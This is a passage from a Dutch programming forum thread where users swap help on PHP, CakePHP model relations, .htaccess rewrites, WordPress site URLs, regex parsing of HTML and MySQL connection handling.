Risu inepto res ineptior nulla
pi_118192331
Ik denk dat ik het zo kan oplossen... morgen maar eens proberen.

http://book.cakephp.org/1(...)ns-to-the-same-model
  zaterdag 20 oktober 2012 @ 13:24:06 #167
382130 gnaeus
Risu inepto res ineptior nulla
pi_118205920
Ik word een beetje verdrietig :'(

Als ik een tabel maak, die noem ik patch. Patch heeft enkel een id en een description..

In de Port tabel maak ik een veld patch_id. relatie is belongsTo.

Het Patch model heeft de relatie hasMany aangezien 2 poorten naar dezelfde patch_id verwijzen.

Waarom werkt het dan niet :'(

In de edit view van Port komt het veld patch_id er wel te staan, deze is echter leeg ook al heb ik een patch record aangemaakt. Voer in handmatig een waarde in voor patch_id (via mysqladmin) dan staat deze wel in de port index view maar niet in de edit view...
pi_118212020
Kan iemand mij vertellen hoe ik het volgende htaccess scriptje kan aanpassen zodat ook links met een puntje en andere karakters worden doorverwezen naar profiel.php?

1
2
RewriteEngine On
RewriteRule ^([^/.]+)/?$ /profiel.php?name=$1

Heb namelijk al aardig wat geprobeerd maar op een of andere manier krijg ik steeds foutjes :(
The people who lost my respect will never get a capital letter for their name again.
Like trump...
  zaterdag 20 oktober 2012 @ 17:16:38 #169
75592 GlowMouse
l'état, c'est moi
pi_118212061
Vervang [^/.] door .
[^/.] matcht alles behalve een / of een .
een . matcht alles

De /? kan ook weg
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  zondag 21 oktober 2012 @ 13:12:42 #170
12221 Tijn
Powered by MS Paint
pi_118238003
Weet iemand of er een manier is om een functie aan te roepen met een variabel aantal argumenten die in een array staan?

Bijvoorbeeld zoiets:

1
2
3
4
5
6
7
8
<?php
$args 
= array('foo''bar');

function 
test($first$second)
{
  
// doe iets met $first en $second
}
?>

Hoe roep ik nu test() aan met de argumenten 'foo' als $first en 'bar' als $second op een manier die het ook toestaat om andere functies met andere aantallen argumenten aan te roepen?
  FOK!-Schrikkelbaas zondag 21 oktober 2012 @ 13:22:02 #171
1972 Swetsenegger
Egocentrische Narcist
pi_118238232
quote:
5s.gif Op zondag 21 oktober 2012 13:12 schreef Tijn het volgende:
Weet iemand of er een manier is om een functie aan te roepen met een variabel aantal argumenten die in een array staan?

Bijvoorbeeld zoiets:
[ code verwijderd ]

Hoe roep ik nu test() aan met de argumenten 'foo' als $first en 'bar' als $second op een manier die het ook toestaat om andere functies met andere aantallen argumenten aan te roepen?
http://php.net/manual/en/function.list.php

Of begrijp ik je nu niet goed?
  zondag 21 oktober 2012 @ 13:24:41 #172
12221 Tijn
Powered by MS Paint
pi_118238289
quote:
1s.gif Op zondag 21 oktober 2012 13:22 schreef Swetsenegger het volgende:

[..]

http://php.net/manual/en/function.list.php

Of begrijp ik je nu niet goed?
Ja, dat is wat ik nu doe. Ik geef de hele array aan de functie en pak 'em binnen elke functie uit met list() om de juiste variabelen te zetten.

Maar ik zou de functies liever direct goed aanroepen. Ik weet alleen niet hoe dat moet.
  zondag 21 oktober 2012 @ 13:34:29 #173
12221 Tijn
Powered by MS Paint
pi_118238482
Ah! Ik heb wat gevonden!

Volgens mij is call_user_func_array() precies wat ik zoek :)

[edit] het werkt *O*
  zondag 21 oktober 2012 @ 14:02:51 #174
166255 Maringo
Bèhèhèhèh
pi_118239290
quote:
14s.gif Op zondag 21 oktober 2012 13:34 schreef Tijn het volgende:
Ah! Ik heb wat gevonden!

Volgens mij is call_user_func_array() precies wat ik zoek :)

[edit] het werkt *O*
Ik dacht eerst dat je dit bedoelde:

1
2
3
4
5
6
7
8
9
10
<?php
$args = array('foo', 'bar');

test($args[0], $args[1]);

function test($first, $second)
{
  // doe iets met $first en $second
}
?>
Die volg topic-knop hè...
Op 02-06-2014 16:38 schreef Moeraskat
Je bent te goed voor de mensheid.
  zondag 21 oktober 2012 @ 14:06:25 #175
12221 Tijn
Powered by MS Paint
pi_118239412
quote:
2s.gif Op zondag 21 oktober 2012 14:02 schreef Maringo het volgende:

[..]

Ik dacht eerst dat je dit bedoelde:
[ code verwijderd ]

Waar het om gaat is dat de functienaam en het aantal argumenten variabel zijn.
  zondag 21 oktober 2012 @ 14:47:33 #176
85514 ralfie
!Yvan eht nioj
  zondag 21 oktober 2012 @ 14:51:40 #177
12221 Tijn
Powered by MS Paint
pi_118241054
quote:
Nee, ik bedoel het andersom. De functie weet precies hoeveel argumenten 'ie heeft, maar ik wil 'em dynamisch kunnen aanroepen.

Maar het is dus prima gelukt met call_user_func_array() :)
  zondag 21 oktober 2012 @ 15:26:17 #178
382130 gnaeus
Risu inepto res ineptior nulla
pi_118242279
quote:
14s.gif Op zondag 21 oktober 2012 14:51 schreef Tijn het volgende:

[..]

Nee, ik bedoel het andersom. De functie weet precies hoeveel argumenten 'ie heeft, maar ik wil 'em dynamisch kunnen aanroepen.

Maar het is dus prima gelukt met call_user_func_array() :)
Word je code niet volkomen onvolgbaar door dit soort constructies ? Met een beetje fatsoenlijk OO design lijkt het mij ook niet noodzakelijk..
  zondag 21 oktober 2012 @ 15:26:37 #179
382130 gnaeus
Risu inepto res ineptior nulla
pi_118242290
Geen CakePHP experts in dit topic ?
  zondag 21 oktober 2012 @ 15:41:02 #180
12221 Tijn
Powered by MS Paint
pi_118242806
quote:
0s.gif Op zondag 21 oktober 2012 15:26 schreef gnaeus het volgende:

[..]

Word je code niet volkomen onvolgbaar door dit soort constructies ? Met een beetje fatsoenlijk OO design lijkt het mij ook niet noodzakelijk..
Het komt maar 1 keer voor, het is niet zo dat alle functies op die manier worden aangeroepen :P
pi_118265442
quote:
5s.gif Op zondag 21 oktober 2012 15:26 schreef gnaeus het volgende:
Geen CakePHP experts in dit topic ?
Jawel, Wyri bijvoorbeeld. Ik ben geen expert, maar gebruik het wel.
pi_118267799
quote:
19s.gif Op vrijdag 19 oktober 2012 15:47 schreef TwenteFC het volgende:

[..]

Ja care, het werkt fijn doet wat het moet doen en de performance is uitermate goed.
En daarbij zijn ze nu bezig met Versie 4.
http://www.thenerdary.net/post/30859565484/laravel-4

Welk framework zou jij aanraden dan? :P Als je Zend zegt ...
over Zend gesproken .. http://www.laruence.com/2011/12/02/2333.html Laravel doet het goed :P
..///
pi_118267981
quote:
0s.gif Op maandag 22 oktober 2012 01:08 schreef wipes66 het volgende:

[..]

over Zend gesproken .. http://www.laruence.com/2011/12/02/2333.html Laravel doet het goed :P
:P En Laravel 4 schijnt nog beter te worden, wel logisch ansich want een slechtere opvolger maken zou ook niet echt handig zijn.
  maandag 22 oktober 2012 @ 17:17:03 #184
118011 BrainOverfloW
Fok! around the Clock!
pi_118288966
Misschien kunnen jullie me helpen met dit probleem. Het Wordpress topic is niet heel actief.
Als ik via mijn mobiel mijn Wordpress pagina op mijn server opvraag hebben de plaatjes/css e.d. allemaal 'localhost' in hun link staan ipv '192.168.x.x' waardoor ze dus niet openen.
Iemand een idee hoe ik dat op los?
Whether or not you can become great at something, you can always become better.
And one day you'll wake up and find out how good you actually became, having transcended whatever limits you might have thought you couldn't pass.
Neil Degrasse Tyson
pi_118290151
quote:
0s.gif Op maandag 22 oktober 2012 17:17 schreef BrainOverfloW het volgende:
Misschien kunnen jullie me helpen met dit probleem. Het Wordpress topic is niet heel actief.
Als ik via mijn mobiel mijn Wordpress pagina op mijn server opvraag hebben de plaatjes/css e.d. allemaal 'localhost' in hun link staan ipv '192.168.x.x' waardoor ze dus niet openen.
Iemand een idee hoe ik dat op los?
Volgens mij kun je ergens in de WordPress-instellingen de url van je website invullen, daar staat nu waarschijnlijk localhost. Als je dat nou eens vervangt door het ip? (ik zit nu mobiel dus kan niet controleren of het inderdaad zo is wat ik zeg)
------___------ 53
----.(___).---- 42
---(o\_!_/o)---
  maandag 22 oktober 2012 @ 19:30:33 #186
118011 BrainOverfloW
Fok! around the Clock!
pi_118294538
quote:
1s.gif Op maandag 22 oktober 2012 17:47 schreef Rockfire het volgende:

[..]

Volgens mij kun je ergens in de WordPress-instellingen de url van je website invullen, daar staat nu waarschijnlijk localhost. Als je dat nou eens vervangt door het ip? (ik zit nu mobiel dus kan niet controleren of het inderdaad zo is wat ik zeg)
Met dat idee even verder gegoogled en gevonden wat ik zocht. Het staat niet standaard in WP maar je kan het er wel bij in zetten.

1
2
define('WP_HOME','http://example.com');
define('WP_SITEURL','http://example.com');

toevoegen aan wp-config.php heeft het probleem opgelost. Bedankt.
Whether or not you can become great at something, you can always become better.
And one day you'll wake up and find out how good you actually became, having transcended whatever limits you might have thought you couldn't pass.
Neil Degrasse Tyson
pi_118336061
quote:
0s.gif Op zaterdag 20 oktober 2012 17:16 schreef GlowMouse het volgende:
Vervang [^/.] door .
[^/.] matcht alles behalve een / of een .
een . matcht alles

De /? kan ook weg
Heb ik geprobeerd GlowMouse, maar krijg dan een server error.

Letwel: ik moet natuurlijk wel de index.php laden als er specifieke pagina aangeroepen wordt, dus domein.nl/ moet naar index.php maar de rest moet naar domain.nl/profiel.php?naam=....
The people who lost my respect will never get a capital letter for their name again.
Like trump...
  woensdag 24 oktober 2012 @ 20:51:00 #188
75592 GlowMouse
l'état, c'est moi
pi_118388093
quote:
0s.gif Op dinsdag 23 oktober 2012 17:57 schreef Chandler het volgende:

[..]

Heb ik geprobeerd GlowMouse, maar krijg dan een server error.

Letwel: ik moet natuurlijk wel de index.php laden als er specifieke pagina aangeroepen wordt, dus domein.nl/ moet naar index.php maar de rest moet naar domain.nl/profiel.php?naam=....
Dat laatste kun je met een rewritecond doen, die kan controleren of een file bestaat.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  vrijdag 26 oktober 2012 @ 20:03:58 #189
37634 wobbel
Da WoBBeL King
pi_118471476
Ik heb een hele enge denk ik :P kan ik met PHP DOM het 06-nummer te pakken krijgen uit de volgende HTML code?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<div class="detailset">
    <h3>
        Nummer
        <span class="actions"></span>
    </h3>
    
<div>
    <span class="label">Nummer</span>
    <span class="value">0612345678</span>
    <span class="actions"></span>
</div>

<div>
    <span class="label">Status</span>
    <span class="value">ACTIVE</span>
    <span class="actions"></span>
</div>

</div>

Het aantal divjes met daarin span class labels en values is random, maar die de inhoud "Nummer" komt maar 1 keer voor en het nummer zelf bij value komt ook maar 1 keer voor.
pi_118472478
Dat zou ik gewoon met een regular expression doen...
  vrijdag 26 oktober 2012 @ 21:00:01 #191
37634 wobbel
Da WoBBeL King
pi_118474183
quote:
3s.gif Op vrijdag 26 oktober 2012 20:28 schreef Farenji het volgende:
Dat zou ik gewoon met een regular expression doen...
Oke, maar hoe moet je dat in vredesnaam doen i ndit geval? :P
  vrijdag 26 oktober 2012 @ 21:05:28 #192
91039 mstx
2x1/2 = 1/2 x 1/2
pi_118474422
quote:
0s.gif Op vrijdag 26 oktober 2012 20:03 schreef wobbel het volgende:
Ik heb een hele enge denk ik :P kan ik met PHP DOM het 06-nummer te pakken krijgen uit de volgende HTML code?
[ code verwijderd ]

Het aantal divjes met daarin span class labels en values is random, maar die de inhoud "Nummer" komt maar 1 keer voor en het nummer zelf bij value komt ook maar 1 keer voor.
http://simplehtmldom.sourceforge.net/

$html = file_get_html('http://www.website.com/pagina.html');

$values= $html->find('span.value');

print_r($values);

En dan een numerieke waarde zoeken in die array.
Op donderdag 2 juli 2009 22:41 schreef RTB het volgende:
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
pi_118475418
1
2
3
<?php
preg_match
('%<span class="label">Nummer</span>\s+<span class="value">(\d+)</span>%m'$html$matches);
?>

En dan zit je telefoonnummer in $matches[1];
pi_118475676
Verplichte xkcd in dit geval:
pi_118479963
Verplichte famous quote in dit geval:
quote:
Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems.
pi_118504477
Ik heb even advies nodig over het verbinding maken met een MySQL database. Het betreft een PHP web service dat via een externe API, door middel van een kernwoorden een JSON resultatenlijst teruggeeft. Deze gaat dus voor elke zoekopdracht aangeroepen worden.

Om de omgang iets korter te maken, sla ik een gedeelte van het zoekresultaat in een MySQL database op. De web service- en database worden door dezelfde dienstverlener gehost. Ik weet alleen niet hoe die architectuur er precies uitziet (of ze binnen dezelfde cluster draaien etc.). Ik weet ook nog niet hoeveel connecties ik met de database op mag zetten.

Voordat de web service naar de externe API gaat, wordt dus eerst in de "cache" gekeken. En nu wil ik weten of het, in dit geval aan te raden is om een "concurrent connection" op te zetten door middel van mysql_pconnect of gewoon mysql_connect te gebruiken.

In ASP.NET kan ik gebruik maken van Connection Pooling, maar PHP werkt iets anders...
  zaterdag 27 oktober 2012 @ 20:15:04 #197
37634 wobbel
Da WoBBeL King
pi_118507470
quote:
6s.gif Op vrijdag 26 oktober 2012 21:29 schreef Farenji het volgende:
Verplichte xkcd in dit geval:
[ afbeelding ]
Held!
  zaterdag 27 oktober 2012 @ 20:48:25 #198
75592 GlowMouse
l'état, c'est moi
pi_118508751
quote:
5s.gif Op zaterdag 27 oktober 2012 18:58 schreef Devv het volgende:
Ik heb even advies nodig over het verbinding maken met een MySQL database. Het betreft een PHP web service dat via een externe API, door middel van een kernwoorden een JSON resultatenlijst teruggeeft. Deze gaat dus voor elke zoekopdracht aangeroepen worden.

Om de omgang iets korter te maken, sla ik een gedeelte van het zoekresultaat in een MySQL database op. De web service- en database worden door dezelfde dienstverlener gehost. Ik weet alleen niet hoe die architectuur er precies uitziet (of ze binnen dezelfde cluster draaien etc.). Ik weet ook nog niet hoeveel connecties ik met de database op mag zetten.

Voordat de web service naar de externe API gaat, wordt dus eerst in de "cache" gekeken. En nu wil ik weten of het, in dit geval aan te raden is om een "concurrent connection" op te zetten door middel van mysql_pconnect of gewoon mysql_connect te gebruiken.

In ASP.NET kan ik gebruik maken van Connection Pooling, maar PHP werkt iets anders...
Zoeken doe je met een zoekserver, en mysql_pconnect moet je nooit gebruiken.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_118522001
quote:
0s.gif Op zaterdag 27 oktober 2012 20:48 schreef GlowMouse het volgende:

[..]

Zoeken doe je met een zoekserver, en mysql_pconnect moet je nooit gebruiken.
Ik zag al dat er werd afgeraden om mysql_pconnect te gebruiken, maar het werd mij niet helemaal duidelijk waarom. Verder is alles hosted (niet dedicated) en wordt het zoeken gedaan via de externe API. Daar heb ik dus verder geen controle over. De PHP web service dient alleen als trechter om met de verschillende API's een uniform resultaat te creëren.

De externe API's geven slechts een beknopt resultaat terug waarna je een extra query uit moet voeren voor de details. Deze twee staan met elkaar in verband door middel van een uniek nummer. Ik sla alleen de details op zodat ik niet meer terug hoef naar de externe API. Het zoeken valt dus geheel buiten mijn bereik.
  zondag 28 oktober 2012 @ 09:17:14 #200
12221 Tijn
Powered by MS Paint
pi_118525743
quote:
5s.gif Op zaterdag 27 oktober 2012 18:58 schreef Devv het volgende:

En nu wil ik weten of het, in dit geval aan te raden is om een "concurrent connection" op te zetten door middel van mysql_pconnect of gewoon mysql_connect te gebruiken.
Het wordt sowieso niet aangeraden om de mysql_ functies nog te gebruiken. Je kunt beter voor mysqli of PDO gaan.

Met mysqli heb ik geen ervaring, maar van PDO weet ik dat er een optie is om aan een soort connection pooling te doen (PDO::ATTR_PERSISTENT). Ik heb alleen geen idee of dat ook wordt afgeraden, net als mysql_pconnect. Misschien dat GlowMouse daar iets over weet. De documentatie is er iig vrij enthousiast over: http://www.php.net/manual/en/pdo.connections.php

[ Bericht 12% gewijzigd door Tijn op 28-10-2012 09:22:53 ]
abonnement Unibet Coolblue Bitvavo
Forum Opties
Forumhop:
Hop naar:
(afkorting, bv 'KLB')